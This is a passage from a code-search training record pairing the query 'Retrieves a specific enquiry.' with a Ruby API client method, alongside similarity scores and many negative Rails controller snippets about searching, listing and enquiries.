"def get_matter_details\n \n get_comp_id = get_company_id\n @matters = Matter.search_results(get_company_id, get_employee_user_id, params[\"q\"], true, nil, 'my_all').uniq\n @contacts = Contact.search_communication_contact(params[:q],current_company,get_comp_id)\n\n respond_to do |format|\n if params[:from] == \"matters\"\n format.js { render :partial=> 'comm_matter_auto_complete', :object => @matters,:locals=>{:from=>\"matters\"} }\n format.html { render :partial=> 'comm_matter_auto_complete',:object => @matters,:locals=>{:from=>\"matters\"} }\n else\n format.js { render :partial=> 'comm_matter_auto_complete', :object => @contacts,:locals=>{:from=>\"contacts\"}}\n format.html { render :partial=> 'comm_matter_auto_complete', :object => @contacts,:locals=>{:from=>\"contacts\"}}\n end\n end\n end",
"def search\r\nend",
"def search\n if params[:tag]\n @pictures = Picture.tagged_with(params[:tag])\n elsif params[:search] \n @pictures = Picture.tagged_with(params[:search])\n else \n redirect_to albums_path and return\n end\n render \"index\"\n end",
"def index\n @people = Person.scoped\n if params[:status]\n \t@people = @people.has_status(params[:status])\n end\n if params[:role]\n \t@people = @people.has_role(params[:role])\n end\n if params[:tag]\n \t@people=@people.has_tag(params[:tag])\n end\n respond_with @people do |format|\n \tformat.png {send_data view_context.photo_strip('png', 12), type: \"image/png\",disposition: \"inline\"}\n \tformat.jpg {send_data view_context.photo_strip('jpg', 12), type: \"image/jpg\",disposition: \"inline\"}\n end\n end",
"def index \n if params[:item_type] == \"11\"\n @item_type = \"1+1\"\n elsif params[:item_type] == \"21\"\n @item_type = \"2+1\"\n elsif params[:item_type] == \"gift\"\n @item_type = \"gift\"\n end\n \n title_back = @item_type\n title_back = \"증정행사\" if @item_type == \"gift\"\n \n session[:conveni_name] = params[:conveni_name] if params[:conveni_name]\n \n if session[:conveni_name] == \"gs25\"\n @title = \"GS25 \" + title_back\n elsif session[:conveni_name] == \"cu\"\n @title = \"CU \" + title_back\n elsif session[:conveni_name] == \"seven_eleven\"\n @title = \"7-ELEVEN\" + title_back\n elsif session[:conveni_name] == \"mini_stop\"\n @title = \"미니스톱\" + title_back\n end\n \n # @convenience_items = ConvenienceItem.where(\"conveni_name = ? and item_type= ? \", session[:conveni_name], @item_type)\n start_date = Time.now.beginning_of_month\n end_at = Time.now.end_of_month\n @convenience_items = ConvenienceItem.where(\"conveni_name = ? and item_type= ? and created_at between ? and ? \", session[:conveni_name], @item_type, start_date, end_at)\n \n @half_cnt = @convenience_items.size/2\n @table_index = []\n for i in 0..@half_cnt - 1\n @table_index.push i * 2 \n end\n \n @is_even = false\n @is_even = true if @convenience_items.size % 2 == 1\n \n @image_size = 100\n # @image_size = 80 if session[:conveni_name] == \"seven_eleven\" \n end",
"def pages\n end",
"def create\n @q = Q.find(params[:q_id])\n \n #temp_content = a(params[:qmail_content])\n @qmail = @q.qmails.create(:content =>params[:qmail_content],:user_id => current_user.id)\n @quest = @q.quest\n current_user.qmails << @qmail\n @qmail.add_questid(@quest.id)#must for telling pg_search about the quest if of qmail\n @qmail.add_qid(@q.id)#must for telling pg_search about the q if of qmail\n #links vm code here\n # doc = Nokogiri::HTML(markdown.render(@qmail.content))\n # doc.xpath('//a[@href]').each do |l|\n # @link = @quest.links.create(:body => l['href'])\n # end\n respond_to do |format|\n \n format.html { redirect_to q_path(@q)}\n format.js \n end\n # new_qmail_notify(@qmail)\n end",
"def images; end",
"def search\n\n end",
"def photo_fields\n @photos = []\n @q = if !params[:q].blank?\n params[:q]\n elsif taxon_id = params[:taxon_id]\n @taxon = Taxon.find_by_id(taxon_id)\n @taxon.name\n end\n \n per_page = params[:limit].to_i\n per_page = 36 if per_page.blank? || per_page.to_i > 36\n page = params[:page].to_i\n page = 1 if page == 0\n offset = per_page*(page-1)+(page-1)\n limit = if offset > per_page\n 75\n else\n per_page\n end\n\n @photos = EolPhoto.search_eol(@q, page: page, per_page: per_page, eol_page_id: params[:eol_page_id])\n \n partial = params[:partial].to_s\n partial = 'photo_list_form' unless %w(photo_list_form bootstrap_photo_list_form).include?(partial) \n respond_to do |format|\n format.html do\n render partial: \"photos/#{partial}\", locals: {\n photos: @photos, \n index: params[:index],\n local_photos: false\n }\n end\n format.json { render json: @photos }\n end\n end",
"def index\n @keyword_page=KeywordPage.find_by_keyword(@resource.keyword_page.keyword)\n if logged_in? and !current_user.keyword_pages.include?(@keyword_page)\n current_user.keyword_pages<<@keyword_page\n end\n @comments=@resource.comments.parent_comments.by_time.paginate(:page => params[:page],:per_page => 10)\n @comment=@resource.comments.build\n respond_to do |format|\n format.html\n format.jpg\n end\n end",
"def index\n ##Busco y asigno a @features los articulos que ya han sido aprobados por el administrador\n if params[:search]\n @category = Category.search(params[:search])\n @features = Feature.where(category_id: @category, publicationState: 'Aprobado') \n if @features.empty?\n @feature = Feature.search(params[:search])\n @features = @feature.where(publicationState: 'Aprobado')\n end\n else\n @features = Feature.where(publicationState: \"Aprobado\")\n end\n end",
"def index\n @ims = Im.all\n end",
"def images\n end",
"def index\n @membrecia = Membrecium.search(params[:search], params[:page])\n\n\n end",
"def search\n \n coupones = Coupone.where(\"description LIKE ?\", \"%#{params[:description]}%\");\n\n if coupones.empty? \n head :not_found\n return\n end\n\n \n\n respond_with coupones, status: :ok \n \n end",
"def search\n\n if params[:search].blank?\n flash.now[:notice]= \"Please start to search.\"\n else\n search = params[:search]\n get_flickr_images(search)\n @images = @flickr_images.paginate(page: params[:page], per_page: 50)\n flash.now[:annouce] = \"Click a thumbnail image to view the larger size image.\"\n end\n render :home\n\n end",
"def index\n @images = Image.where(\"article is not null or thumbnail is not null\").order(\"id desc\").page(params[:page]).per(15)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @console_images }\n end\n end",
"def tag_search\n if params[:search].blank? \n @images = Image.all()\n render 'images/index'\n else\n @images = Image.all()\n tag_array = Array.new\n tags = params[:search]\n\n tag_array = tags.delete_suffix(',').split(',')\n @search_results = helpers.find_images(tag_array)\n \n render 'images/searchResults'\n end\n end",
"def image_gallery_post\n if params[\"clear\"]\n redirect_to \"/image_gallery\" and return\n else\n @name = params[\"search_field\"].gsub(\" \", \"_\")\n redirect_to \"/image_gallery/#{@name}\" and return\n end\n end",
"def show\n @provider_comment = ProviderComment.new\n @appointment = @provider.appointments.build\n @provider_comments = @provider.provider_comments.paginate(:page => params[:page], :per_page => 6)\n @provider_attachments = @provider.provider_attachments.all\n\n\nif @provider.provider_attachments.present?\nprepare_meta_tags(title: @provider.nombre,\n description: @provider.productos, \n keywords: @provider.tags\n)\nend\n\n\n end",
"def index\n \n # 1.初期表示(メニューなどからの遷移時)\n # ログインユーザの会社コードのみを条件に抽出\n # ①検索条件のクリア\n # ②ログインユーザの会社コードという条件のみセッションへの保存\n # 2.検索ボタン押下時\n # 画面入力された条件に対して抽出\n # ①検索条件のクリア\n # ②画面入力された条件のセッションへの保存\n # 3.ページ繰り時\n # 直前の検索条件をもとにページ繰り\n # ①検索条件のセッションからの取り出し\n if params[:page].nil?\n # ページ繰り以外\n @searched = Hash.new\n session[:searched] = @searched\n if params[:commit].nil?\n # 初期表示時:ログインユーザの部門コードという条件のみセッションへの保存\n # ハッシュのキーのような定型的な「識別子」っぽいものは、シンボルとした\n # 方が性能も可読性もあがると思いました。\n\n #YES本社の場合は、初期表示では条件を使用しないため、\n #本社以外の場合に、検索条件をセットする。\n unless current_user.yesOffice?\n @searched[:company_id] = current_user.company_id\n end\n else\n # 検索ボタン押下時:画面入力された条件のセッションへの保存\n # 検索条件を取り込むときに、あらかじめ blank? なものは設定されていない\n # と見なすように変更しました。\n params[:search].each do |key, val|\n @searched[key.intern] = val unless val.blank?\n end\n end\n else\n # ページ繰り時:検索条件のセッションからの取り出し\n @searched = session[:searched]\n end\n\n # Rails 標準の Arel 機能を使って、WHERE 条件をオブジェクトとして扱うように\n # 変更しました。\n # cond 配列に WHERE 条件を溜め込んでいきます。\n # Arel は SQL を組み立てるための DSL のようなもので、文字列として SQL 文の\n # 断片を埋め込む必要も無くなり、DBMS を取り替えやすくなります。\n arel = Engine.arel_table\n cond = []\n\n # 会社コード(管轄)\n if company_id = @searched[:company_id]\n cond.push(arel[:company_id].eq company_id)\n end\n # エンジン型式\n if engine_model_name = @searched[:engine_model_name]\n cond.push(arel[:engine_model_name].matches \"%#{engine_model_name}%\")\n end\n # お客様名\n if serialno = @searched[:serialno]\n cond.push(arel[:serialno].matches \"%#{serialno}%\")\n end\n # ステータス\n if enginestatus_id = @searched[:enginestatus_id]\n cond.push(arel[:enginestatus_id].eq enginestatus_id)\n end\n\n # cond 配列に溜め込んだ WHERE 条件を AND でつないで検索を実行しています。\n # cond.reduce(&:and) は、Ruby 1.9 で追加された、シンボルから Proc オブジェ\n # クトを作り出す構文を使っています。\n # cond.reduce { |result, c| result.and c } と同じ意味となります。\n # order 指定を paginate の引数で指定すると、実行時に will_paginate 内で\n # deprecated 警告が出たので、外に出しました。\n# @engines = Engine.where(cond.reduce(&:and)).order(:id).paginate(page: params[:page], per_page: 10)\n @engines = Engine.where(cond.reduce(&:and)).order(:updated_at).reverse_order.paginate(page: params[:page], per_page: 10)\n\n end",
"def index\n if params[:busqueda].nil?\n @institucions = Institucion.paginate(:per_page => 20, :page => params[:page])\n else\n @institucions = Institucion.paginate(:per_page => 20, :page => params[:page], :conditions => [\"institucion LIKE ? OR sigla LIKE ? OR direccion LIKE ?\", '%' + params[:busqueda] + '%', '%' + params[:busqueda] + '%', '%' + params[:busqueda] + '%'])\n end \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @institucions }\n format.print{ @institucions = Institucion.find(:all); render :layout => 'imprimir' }\n end\n end",
"def list_compros\n \n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Viaticos\"\n @filters_display = \"block\"\n \n \n if(params[:search] and params[:search] != \"\") \n \n @compros = Compro.where([\"company_id = ? and (detalle LIKE ? OR code LIKE ?)\", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\"]).order('code').paginate(:page => params[:page]) \n else\n @compros = Compro.where(company_id: @company.id).order('fecha DESC').paginate(:page => params[:page])\n end\n \n end"
] |
[
"0.6049769",
"0.58802927",
"0.5831796",
"0.57925856",
"0.5761551",
"0.5739531",
"0.5704575",
"0.5685991",
"0.5670842",
"0.56465226",
"0.56358856",
"0.56270206",
"0.55961597",
"0.55772674",
"0.5566132",
"0.5565407",
"0.5550157",
"0.553893",
"0.5517671",
"0.5512236",
"0.5504696",
"0.54962",
"0.54847693",
"0.5484088",
"0.547861",
"0.54747206",
"0.5467985",
"0.5465329",
"0.5460632",
"0.54556745",
"0.54367995",
"0.5433778",
"0.54134166",
"0.5410144",
"0.5401261",
"0.53970695",
"0.5387098",
"0.53790575",
"0.53604615",
"0.53597915",
"0.53509814",
"0.534917",
"0.5347442",
"0.53432596",
"0.5334474",
"0.5334213",
"0.53309345",
"0.5329734",
"0.53242517",
"0.5322339",
"0.53190625",
"0.53135",
"0.5310718",
"0.53088593",
"0.530833",
"0.53080165",
"0.5306722",
"0.5306582",
"0.5305423",
"0.5303758",
"0.5302114",
"0.5299684",
"0.5295441",
"0.5294754",
"0.5292802",
"0.5290141",
"0.5288369",
"0.5283362",
"0.52831566",
"0.5280591",
"0.52785146",
"0.5275572",
"0.5273611",
"0.527295",
"0.52629364",
"0.52603143",
"0.5258078",
"0.5255688",
"0.5252406",
"0.52470154",
"0.5243681",
"0.52385056",
"0.523503",
"0.5234187",
"0.52315146",
"0.5225387",
"0.5222481",
"0.5221391",
"0.521904",
"0.5215503",
"0.52154267",
"0.52145565",
"0.52144206",
"0.52142715",
"0.52140516",
"0.5211785",
"0.5211514",
"0.5207755",
"0.52069896",
"0.520559"
] |
0.53051233
|
59
|
Retrieves a specific enquiry.
|
def enquiries_get(id, opts = {})
data, _status_code, _headers = enquiries_get_with_http_info(id, opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inquiry(inquiry, options = {})\n get(\"inquiries/#{inquiry}\", options).pop\n end",
"def show\n @enquiry = Enquiry.new\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end",
"def set_general_enquiry\n @general_enquiry = GeneralEnquiry.find(params[:id])\n end",
"def show\n @product.enquiries.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry }\n end\n end",
"def new\n @enquiry = Enquiry.new\n respond_with @enquiry\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def show\n @inquiry = Inquiry.find(params[:id])\n\n respond_to do |format|\n format.html { render 'show'}\n format.xml { render :xml => @inquiry }\n end\n end",
"def api_get\n handler.get({email: email}, path)\n end",
"def show\n if logged_in?\n @realtor = Realtor.find_by(email: current_user.email)\n @inquiry = Inquiry.find_by(id: params[:inquiry])\n end\n end",
"def show\n @inquiry_form = current_site.inquiry_forms.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inquiry_form }\n end\n end",
"def show\n @enquiry_source = EnquirySource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry_source }\n end\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def get_question(form_name, id)\n get_form(form_name)[:questions][id]\n end",
"def enquiry(enquiry)\n @enquiry = enquiry\n\n mail :to => Rails.configuration.enq_to_address, :subject => \"B&B availability request for Bull Farm Oast\", :bcc => Rails.configuration.enq_bcc_address, :reply_to => enquiry.email \n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def set_inquiry_question\n @inquiry_question = InquiryQuestion.find(params[:id])\n end",
"def get_or_create_enquiry\r\n ref = @e.aref # v0.65\r\n \r\n # v0.8 checked if blank as well as nil\r\n if ref == nil or ref.strip == \"\"\r\n ref = \"propid: \" + @e.propid\r\n end\r\n\r\n @enq = Enquiry.find(:first, :conditions => ['customer_id = ? and property = ?', @cust.id(), ref ]) # v0.65\r\n \r\n if not @enq\r\n @enq = Enquiry.create(\r\n :customer_id => @cust.id(),\r\n :property => ref, # v0.65\r\n :region => @e.region,\r\n :info => @e.info_req,\r\n :viewing => @e.viewing_info,\r\n :mortgage => @e.mortgage,\r\n :currency => @e.currency,\r\n :received_at => @e.created_at\r\n )\r\n \r\n @e.enquiry_created = true\r\n @log.debug \"Enquiry #{@i}: Created new enquiry\"\r\n end\r\n \r\n @log.info \"Enquiry #{@i}: Found/created enquiry for - #{@cust.to_s}, property #{ref}\"\r\n end",
"def index\n @general_enquiries = GeneralEnquiry.all\n end",
"def display_one_contact\n contact = retrieve_contact_by_email\n end",
"def set_enquire\n @enquire = Enquire.find(params[:id])\n end",
"def set_balance_enquiry\n @balance_enquiry = BalanceEnquiry.find(params[:id])\n end",
"def survey_question\n SurveyQuestion.find_by(id: survey_question_id)\n end",
"def get_consulta\n @consulta = Consulta.find(params[:consulta_id])\n end",
"def enquiry_params\n params[:enquiry].permit!\n end",
"def enquiries_search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_search ...'\n end\n # resource path\n local_var_path = '/v1/enquiries'\n\n # query parameters\n query_params = {}\n query_params[:'agencyId'] = opts[:'agency_id'] if !opts[:'agency_id'].nil?\n query_params[:'agentId'] = opts[:'agent_id'] if !opts[:'agent_id'].nil?\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EnquiriesApi#enquiries_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def retrieve_contact_by_email\n unless @rolodex.is_empty?\n print \"Please, provide the email of the contact in question: \"\n contact = @rolodex.search_contact(gets.chomp)\n if contact\n @rolodex.display_particular(contact)\n else\n puts \"Error: contact not found.\"\n end\n else\n contact = false\n puts \"Error: the Rolodex is empty.\"\n end\n return contact\n end",
"def show\n respond_with fetch_email(params[:id])\n end",
"def set_inquiry_detail\n @inquiry_detail = InquiryDetail.find(params[:id])\n end",
"def index\n @inquiries = Inquiry.all\n end",
"def inquiry_type_description\n ClearinghouseRequest::InquiryTypes[inquiry_type]\n end",
"def show\n @custom_question_attendee = CustomQuestionAttendee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @custom_question_attendee }\n end\n end",
"def index\n authorize @thing, :get_inquiry?\n @thing_inquiries = @thing.inquiry\n end",
"def show\n if @inquiries\n authorize @inquiries\n #@thing_id = params[:id]\n inquiries = policy_scope(Inquiry.where(:id=>@inquiries.id))\n puts \"INQUIRY RESULTS: INICIO\"\n puts inquiries\n puts \"INQUIRY RESULTS: FIM\"\n @inquiries = InquiryPolicy.merge(inquiries).last\n else\n render json: {errors: \"Inquiry not found!\"}, status: :unprocessable_entity\n end\n end",
"def show\r\n #this redirect is for unfixed legacy links, because artist see inquiries\r\n #not prefixed with gig in the url\r\n return Event::Read.emit(:inquiry, @inquiry.id) unless current_profile.artist?\r\n redirect_to inquiry_path(@inquiry.id)\r\n end",
"def enquiry_params\n params.require(:enquiry).permit(:product_id)\n end",
"def getex\n url = prefix + \"getex\" + id_param\n return response(url)\n end",
"def show\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hr_attendence }\n end\n end",
"def get_for_email(email)\n full_path = full_resource_path(\"/email\")\n query_params = MaropostApi.set_query_params({\"contact[email]\" => email})\n \n MaropostApi.get_result(full_path, query_params)\n end",
"def question\n Question.find_by_id(questions_id)\n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def send_enquiry_reply(enquirer)\n send_message(:election_enquiry_reply, nil, enquirer)\n end",
"def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end",
"def show\n redirect_to new_inquiry_path\n # @inquiry = Inquiry.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @inquiry }\n # end\n end",
"def set_inquirydetail\n @inquirydetail = Inquirydetail.find(params[:id])\n end",
"def enquiries_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_get ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling EnquiriesApi.enquiries_get\"\n end\n # resource path\n local_var_path = '/v1/enquiries/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EnquiriesApi#enquiries_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @inquirement = Inquirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inquirement }\n end\n end",
"def inquiry(inquiry)\n @inquiry = inquiry\n @greeting = \"咨询\"\n\n mail to: \"cvsend@139.com\", subject:\"有人咨询\", temlate_path: 'refer_notifier',template_name: 'inquiry'\n end",
"def index\n @inquirydetails = Inquirydetail.all\n end",
"def enquiry_params\n params.require(:enquiry).permit(:first_name, :last_name, :email, :phone)\n end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def show\n @email = EventEmail.find(params[:id])\n respond_with @email\n end",
"def get_email(email)\n self.api_get(:email, {:email => email})\n end",
"def get_survey\n\t\tbegin\n @survey = current_political_campaign.surveys.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n \tflash[:error] = \"The requested Survey was not found.\"\n \tredirect_back_or_default customer_control_panel_url\n end\n\tend",
"def get_invoice(company, invoice_id, options = {})\n res = self.class.get(\"/#{company}/OE/OEInvoices(#{invoice_id})\", {query: options})\n Sage300Kit::Object.new(res)\n end",
"def email\n @invoice = Factura.find(params[:id])\n @company = @invoice.company\n end",
"def new\n @post = Enquiry.new\n # form_for(:post, :url => new_enquiries_path)\n # redirect_to enquiry_path\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :name, :date, :status, :location_preference, :link, :area_id, :category_id)\n end",
"def show\n @participant_contact_email = Participant::Contact::Email.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participant_contact_email }\n end\n end",
"def find(email)\n Mailgun.submit :get, complaint_url(email)\n end",
"def create_agent_enquiry(agent, enqtype)\r\n if not agent\r\n @log.warn \"could not create agent enquiry - no agent record\"\r\n else\r\n AgentEnquiry.create(\r\n :enquiry_id => @enq.id(),\r\n :agent_id => agent.id(),\r\n :enq_type => enqtype,\r\n :sent_at => @e.created_at\r\n )\r\n @log.info \"Enquiry #{@i}: Creating agent enquiry - #{agent.to_s} type: #{enqtype}\"\r\n end\r\n end",
"def enquiry_params\n params.require(:enquiry).permit(:user_id, :name, :email, :subject, :text, :sent_at)\n end",
"def getResponse(surveyId, questionId)\n return survey_responses.where({:survey_id => surveyId, :survey_question_id => questionId}).first\n end",
"def show\n @contact = Contacte.find(params[:id])\n end",
"def find_client_by_email(email)\n rsp = HTTParty.get(HOST + \"/api/v2/desk/people/search?q=#{email}&fields=email&access_token=#{ACCESS_TOKEN}\")\n raise \"Request failed: #{rsp.code}, #{rsp}\" unless rsp.success?\n\n if rsp['results'].length > 0\n rsp['results'][0]['person']['id']\n end\nend",
"def create\n extra = ParamsFormatter.new(params[:enquiry]).generate\n @enquiry = Enquiry.new(enquiry_params.merge(extra))\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_email(email_id)\n request :get, \"/v3/emails/#{email_id}.json\"\n end",
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def show\n# @business.host_site = session['host_site']\n # render layout: false\n @inquiries = Inquiry.includes(:user, :business).where(business_id: @business.id)\n @inquiry_questions = @business.inquiry_questions\n end",
"def enquiry_params\n params.require(:enquiry).permit(:Reference, :Location, :Date, :Time, :Amount)\n end",
"def show\n @email = Email.find(params[:id])\n end",
"def get(invoice_id, invoice_sequence)\n get_request(t_url(:invoice, invoice_id, invoice_sequence))\n end",
"def show\n @survey = Survey.find_by_id(params[:survey_id])\n end",
"def getlrid(email)\n\n response = rest_get_call($LR_FIXTURES_URL + '/get-lrid-by-email/' + email)\n\n if (response.code != '200') then\n raise \"Error in finding email for: \" + email\n end\n\n return response.body\n\nend",
"def show\n @employe_ccq_qualification = EmployeCcqQualification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @employe_ccq_qualification }\n end\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :salutation, :name, :country, :contact_no, :email, :content, :subject)\n end",
"def response(enquiry)\n @greeting = \"Hi\"\n @enquiry = enquiry\n mail(to:@enquiry.email, subject:\"Thankyou for your enquiry\")\n end",
"def question\n Question.find_by_id(self.question_id)\n end",
"def enquiries_post(enquiry, opts = {})\n data, _status_code, _headers = enquiries_post_with_http_info(enquiry, opts)\n data\n end",
"def show\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n end",
"def new_from_enquiry\n @enquiry = Enquiry.find(params[:id])\n if @enquiry.nil?\n redirect_to root_path\n end\n\n if @enquiry.accepted? && @enquiry.customer == current_user.customer\n @booking = Booking.new \n else\n redirect_to enquiry_path(@enquiry)\n end\n end",
"def ticket(q)\n Ticket.find(self, q)\n end",
"def show\n @email = Email.find(params[:id])\n respond_with @email\n end",
"def show\n @qmail = Qmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qmail }\n end\n end",
"def show\n @question_requirement = QuestionRequirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_requirement }\n end\n end",
"def survey_identifier\n @form || @instrument\n end"
] |
[
"0.7656498",
"0.7073781",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.6613011",
"0.61701363",
"0.5994193",
"0.5910172",
"0.5828734",
"0.5828734",
"0.5730599",
"0.56073195",
"0.5590675",
"0.5580071",
"0.5531131",
"0.5516563",
"0.55165154",
"0.55044955",
"0.5485154",
"0.5464553",
"0.5464553",
"0.54341257",
"0.5420677",
"0.5366407",
"0.5358144",
"0.5337061",
"0.531752",
"0.53012854",
"0.52618146",
"0.5227248",
"0.52255887",
"0.5198451",
"0.5184835",
"0.5177497",
"0.5173946",
"0.51630735",
"0.5154415",
"0.5154235",
"0.51453406",
"0.51342785",
"0.51340294",
"0.5129956",
"0.5118861",
"0.51165223",
"0.5114472",
"0.5112525",
"0.511214",
"0.5109924",
"0.51000005",
"0.50924975",
"0.50877565",
"0.5082479",
"0.5053698",
"0.5051546",
"0.50466335",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50257444",
"0.5019028",
"0.50124526",
"0.50095266",
"0.5007365",
"0.50009096",
"0.500042",
"0.4996711",
"0.49888694",
"0.4983608",
"0.49768293",
"0.49682754",
"0.49559107",
"0.49514583",
"0.49456045",
"0.4937193",
"0.49292427",
"0.49081048",
"0.48920694",
"0.4889963",
"0.48862928",
"0.4866876",
"0.4866865",
"0.486242",
"0.48587918",
"0.48506615",
"0.484667",
"0.48428923",
"0.48418087",
"0.48395213",
"0.48314458",
"0.48307964",
"0.48274297",
"0.48206863",
"0.4814126"
] |
0.5456451
|
26
|
Retrieves a specific enquiry.
|
def enquiries_get_with_http_info(id, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_get ...'
end
# verify the required parameter 'id' is set
if @api_client.config.client_side_validation && id.nil?
fail ArgumentError, "Missing the required parameter 'id' when calling EnquiriesApi.enquiries_get"
end
# resource path
local_var_path = '/v1/enquiries/{id}'.sub('{' + 'id' + '}', id.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['oauth2']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: EnquiriesApi#enquiries_get\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inquiry(inquiry, options = {})\n get(\"inquiries/#{inquiry}\", options).pop\n end",
"def show\n @enquiry = Enquiry.new\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end",
